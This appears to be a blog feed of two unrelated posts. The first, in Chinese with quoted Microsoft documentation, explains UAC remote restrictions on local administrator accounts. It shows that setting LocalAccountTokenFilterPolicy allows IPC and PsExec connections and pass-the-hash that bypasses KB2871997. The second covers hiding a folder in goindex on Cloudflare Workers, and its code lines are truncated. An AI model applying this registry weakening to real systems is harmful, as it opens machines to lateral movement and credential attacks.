When a user who is a member of the local administrators group on the target remote computer establishes a remote administrative connection by using the net use * \remotecomputer\Share$ command, for example, they will not connect as a full administrator. The user has no elevation potential on the remote computer, and the user cannot perform administrative tasks. If the user wants to administer the workstation with a Security Account Manager (SAM) account, the user must interactively log on to the computer that is to be administered with Remote Assistance or Remote Desktop, if these services are available.
Domain user accounts (Active Directory user account):
A user who has a domain user account logs on remotely to a Windows Vista computer. And, the domain user is a member of the Administrators group. In this case, the domain user will run with a full administrator access token on the remote computer, and UAC will not be in effect.
Note This behavior is not different from the behavior in Windows XP.
对于本地用户:
当使用远程计算机上本地管理员组成员的用户通过net use \\remotecomputer\ 命令建立IPC连接的时候不会以完全管理权限的管理员身份连接,用户无法在远程计算机上提升自己的权限,并且无法执行管理任务,如果用户希望使用安全账户管理器(SAM)中的用户管理服务器,则必须通过远程桌面连接来登录
同样在 官方文档在服务器管理器中配置远程管理 中有如下描述:
即使已启用远程管理,内置管理员帐户之外的本地管理员帐户也可能不具有远程管理服务器的权限。 必须将远程用户帐户控制(UAC) LocalAccountTokenFilterPolicy注册表设置配置为允许除内置管理员帐户之外的管理员组的本地帐户远程管理服务器。
以及Server Performance Advisor 用户指南:
如果目标服务器未加入域,请启用以下注册表设置:
HKLM\SOFTWARE\Microsoft\Windows\Currentversion\system\LocalAccountTokenFilterPolicy\策略。
这些都表明了:在不对系统设置进行更改的情况下,除默认的管理员账户外无法使用其他账户完成远程管理,除非采用RDP或加入域
对于域用户(Active Directory 账户):
这里仍然有官方文档的解释 User Account Control and WMI
大致是说:如果你的计算机是域中的一部分,使用管理员组中的用户连接远程计算机,此时UAC 访问令牌过滤器不会生效,不要使用本地的、非域内用户的账户连接远程计算机,即使该用户属于管理员组
以及Description of User Account Control and remote restrictions in Windows Vista中的描述:
当使用域用户(并且该域用户属于管理员组)远程登录到计算机时,该用户会拥有完整的管理员权限,并且UAC会在该会话期间被禁用
以上便解释了为什么本地管理账户在利用IPC远程访问时会失败,但是域管理员账户可以成功。
而内置RID为500的管理员账户(Administrator)又是一个特殊情况,默认情况下内置管理员用户(Administrator,即使被重命名)使用了完整的管理特权(“完全令牌模式”)运行了所有的应用程序,这意味着账户控制没有生效,所以当使用该用户进行远程操作的时候会被授予完整的(未过滤的)令牌
Windows已经普遍默认禁用了Administrator用户,并且在域环境下,由于域控端设置的密码安全策略,会因为默认的空密码不满足域内密码安全策略中的密码最小长度导致无法在域机器中启用该账户,除非在域控机器上主动修改域内的密码安全策略
在官方文档中已经有了解决方法,通过修改注册表来解除对非默认管理员账户的限制:
在注册表中新建如下项:
1 | Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |

建立完成后再次测试
修改注册表前:
修改后:

成功建立的IPC连接,并且Psexec执行成功,whoami显示的也是本地用户的de1ay
再来试一下对于普通用户是否有影响
mssql即域内的一个普通用户

远程连接拒绝访问:
再创建了一个本地的普通用户来测试
本地的普通用户同样没有远程连接的权限
至此问题已经解决,可以确定的是:默认情况下,只有使用域用户,并且这个域用户在远程计算机的管理员组中的时候,可以直接进行连接,但本地管理员组中除Administrator用户外无法进行连接;
而在添加HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy之后,rid非500的本地管理员账户可以进行连接(不影响本地和域的普通用户),并且可以进行哈希传递攻击,在此情况下KB2871997补丁将不会有实际作用
| 用户(组) | 解除限制前 | 解除限制后 |
|---|---|---|
| Administrators(除Administrator) | 无权限 | 有权限 |
| Administrator | 有权限 | 有权限 |
| 被添加到Administrators中的域用户 | 有权限 | 有权限 |
| Domain Users | 无权限 | 无权限 |
| Users | 无权限 | 无权限 |
goindex 1.0.6版本没有自带隐藏目录功能,可以通过增加代码实现
首先网盘根目录下新建hide文件夹(或者其他名字
打开workers部署页面
在cloudflare workers的script中,找到62行的apiRequests函数

在let list = await gd.list(path); 和 return new Response(JSON.stringify(list),option);之间添加代码
1 | let list = await gd.list(path); |
之后在文件头部的authConfig中添加新的项
1 | "hidden": "hide" //要隐藏的目录名(只支持根目录下的文件夹) |

之后点击右侧Preview,应该能看到hide目录已经被隐藏了
]]>